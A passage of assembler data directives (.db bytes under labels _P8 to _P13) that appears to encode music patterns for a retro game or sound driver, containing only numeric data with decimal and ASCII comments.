.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x27 ; 39
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x22 ; 34
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x26 ; 38
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2e ; 46
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x32 ; 50 '2'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2e ; 46
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x26 ; 38
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x22 ; 34
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x26 ; 38
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2e ; 46
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x32 ; 50 '2'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2e ; 46
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x26 ; 38
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x1d ; 29
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x30 ; 48 '0'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x35 ; 53 '5'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x30 ; 48 '0'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x1d ; 29
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x30 ; 48 '0'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x35 ; 53 '5'
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x30 ; 48 '0'
.db #0x13 ; 19
.db #0x03 ; 3
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x03 ; 3
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x03 ; 3
_P8:
.db #0x24 ; 36
.db #0x52 ; 82 'R'
.db #0x90 ; 144
.db #0x05 ; 5
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x11 ; 17
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x52 ; 82 'R'
.db #0x90 ; 144
.db #0x05 ; 5
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x11 ; 17
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x52 ; 82 'R'
.db #0x90 ; 144
.db #0x05 ; 5
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x11 ; 17
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x52 ; 82 'R'
.db #0x90 ; 144
.db #0x05 ; 5
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x11 ; 17
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x52 ; 82 'R'
.db #0x90 ; 144
.db #0x08 ; 8
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x14 ; 20
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x52 ; 82 'R'
.db #0x90 ; 144
.db #0x08 ; 8
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x14 ; 20
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x52 ; 82 'R'
.db #0x90 ; 144
.db #0x08 ; 8
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x14 ; 20
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x52 ; 82 'R'
.db #0x90 ; 144
.db #0x08 ; 8
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x14 ; 20
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x52 ; 82 'R'
.db #0x90 ; 144
.db #0x0a ; 10
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x16 ; 22
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x52 ; 82 'R'
.db #0x90 ; 144
.db #0x0a ; 10
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x16 ; 22
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x52 ; 82 'R'
.db #0x90 ; 144
.db #0x0a ; 10
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x16 ; 22
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x52 ; 82 'R'
.db #0x90 ; 144
.db #0x0a ; 10
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x16 ; 22
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x52 ; 82 'R'
.db #0x90 ; 144
.db #0x05 ; 5
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x11 ; 17
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x52 ; 82 'R'
.db #0x90 ; 144
.db #0x05 ; 5
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x11 ; 17
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x52 ; 82 'R'
.db #0x90 ; 144
.db #0x05 ; 5
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x11 ; 17
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x52 ; 82 'R'
.db #0x90 ; 144
.db #0x05 ; 5
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x11 ; 17
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
_P9:
.db #0x37 ; 55 '7'
.db #0x90 ; 144
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x33 ; 51 '3'
.db #0x40 ; 64
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x90 ; 144
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x33 ; 51 '3'
.db #0x40 ; 64
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x90 ; 144
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x33 ; 51 '3'
.db #0x40 ; 64
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x90 ; 144
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x33 ; 51 '3'
.db #0x40 ; 64
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x90 ; 144
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x33 ; 51 '3'
.db #0x40 ; 64
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x90 ; 144
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x33 ; 51 '3'
.db #0x40 ; 64
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x90 ; 144
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x33 ; 51 '3'
.db #0x40 ; 64
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x90 ; 144
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x37 ; 55 '7'
.db #0x80 ; 128
.db #0x00 ; 0
.db #0x33 ; 51 '3'
.db #0x40 ; 64
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x33 ; 51 '3'
.db #0x40 ; 64
.db #0x00 ; 0
.db #0x33 ; 51 '3'
.db #0x40 ; 64
.db #0x00 ; 0
_P10:
.db #0x1d ; 29
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x20 ; 32
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x20 ; 32
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x1d ; 29
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x20 ; 32
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x20 ; 32
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x1d ; 29
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x27 ; 39
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x30 ; 48 '0'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x27 ; 39
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x20 ; 32
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x27 ; 39
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x30 ; 48 '0'
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x2c ; 44
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x27 ; 39
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x22 ; 34
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x26 ; 38
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2e ; 46
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x32 ; 50 '2'
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x2e ; 46
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x26 ; 38
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x22 ; 34
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x26 ; 38
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2e ; 46
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x32 ; 50 '2'
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x2e ; 46
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x26 ; 38
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x1d ; 29
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x30 ; 48 '0'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x35 ; 53 '5'
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x30 ; 48 '0'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x1d ; 29
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x30 ; 48 '0'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x35 ; 53 '5'
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x30 ; 48 '0'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
_P11:
.db #0x1d ; 29
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x20 ; 32
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x20 ; 32
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x1d ; 29
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x20 ; 32
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x29 ; 41
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x20 ; 32
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x1d ; 29
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x27 ; 39
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x30 ; 48 '0'
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x27 ; 39
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x20 ; 32
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x27 ; 39
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x2c ; 44
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x30 ; 48 '0'
.db #0x10 ; 16
.db #0x00 ; 0
.db #0x2c ; 44
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x27 ; 39
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x24 ; 36
.db #0x03 ; 3
.db #0x32 ; 50 '2'
.db #0x26 ; 38
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x29 ; 41
.db #0x70 ; 112 'p'
.db #0xcc ; 204
.db #0x26 ; 38
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x22 ; 34
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x29 ; 41
.db #0x43 ; 67 'C'
.db #0x10 ; 16
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x2e ; 46
.db #0x03 ; 3
.db #0x04 ; 4
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x04 ; 4
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x29 ; 41
.db #0x4c ; 76 'L'
.db #0x04 ; 4
.db #0x2c ; 44
.db #0x40 ; 64
.db #0x00 ; 0
.db #0x2e ; 46
.db #0x4c ; 76 'L'
.db #0x04 ; 4
.db #0x29 ; 41
.db #0x40 ; 64
.db #0x00 ; 0
.db #0x2c ; 44
.db #0x4c ; 76 'L'
.db #0x04 ; 4
.db #0x27 ; 39
.db #0x40 ; 64
.db #0x00 ; 0
.db #0x26 ; 38
.db #0x40 ; 64
.db #0x00 ; 0
.db #0x27 ; 39
.db #0x4c ; 76 'L'
.db #0x04 ; 4
.db #0x2c ; 44
.db #0x40 ; 64
.db #0x00 ; 0
.db #0x26 ; 38
.db #0x4c ; 76 'L'
.db #0x04 ; 4
.db #0x27 ; 39
.db #0x40 ; 64
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x26 ; 38
.db #0x40 ; 64
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
_P12:
.db #0x24 ; 36
.db #0x52 ; 82 'R'
.db #0x90 ; 144
.db #0x05 ; 5
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x11 ; 17
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x52 ; 82 'R'
.db #0x90 ; 144
.db #0x05 ; 5
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x11 ; 17
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x52 ; 82 'R'
.db #0x90 ; 144
.db #0x05 ; 5
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x11 ; 17
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x52 ; 82 'R'
.db #0x90 ; 144
.db #0x05 ; 5
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x11 ; 17
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x52 ; 82 'R'
.db #0x90 ; 144
.db #0x08 ; 8
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x14 ; 20
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x52 ; 82 'R'
.db #0x90 ; 144
.db #0x08 ; 8
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x14 ; 20
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x52 ; 82 'R'
.db #0x90 ; 144
.db #0x08 ; 8
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x14 ; 20
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x52 ; 82 'R'
.db #0x90 ; 144
.db #0x08 ; 8
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x14 ; 20
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x24 ; 36
.db #0x52 ; 82 'R'
.db #0x90 ; 144
.db #0x0a ; 10
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x16 ; 22
.db #0x03 ; 3
.db #0x45 ; 69 'E'
.db #0x5a ; 90 'Z'
.db #0x03 ; 3
.db #0x45 ; 69 'E'
.db #0x0a ; 10
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x16 ; 22
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x0a ; 10
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x16 ; 22
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x0a ; 10
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0x00 ; 0
.db #0x16 ; 22
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x0a ; 10
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x1b ; 27
.db #0x30 ; 48 '0'
.db #0x00 ; 0
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
.db #0x5a ; 90 'Z'
.db #0x04 ; 4
.db #0x42 ; 66 'B'
_P13:
.db #0x1d ; 29
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x1d ; 29
.db #0x70 ; 112 'p'
.db #0xcc ; 204
.db #0x1d ; 29
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x24 ; 36
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x24 ; 36
.db #0x70 ; 112 'p'
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x1d ; 29
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x00 ; 0
.db #0xcc ; 204
.db #0x24 ; 36
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x1d ; 29
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x29 ; 41
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x5a ; 90 'Z'
.db #0x02 ; 2
.db #0x0a ; 10
.db #0x27 ; 39
.db #0x60 ; 96
.db #0xcc ; 204
.db #0x29 ; 41
.db #0x70 ; 112 'p'
.db #0xcc ; 204
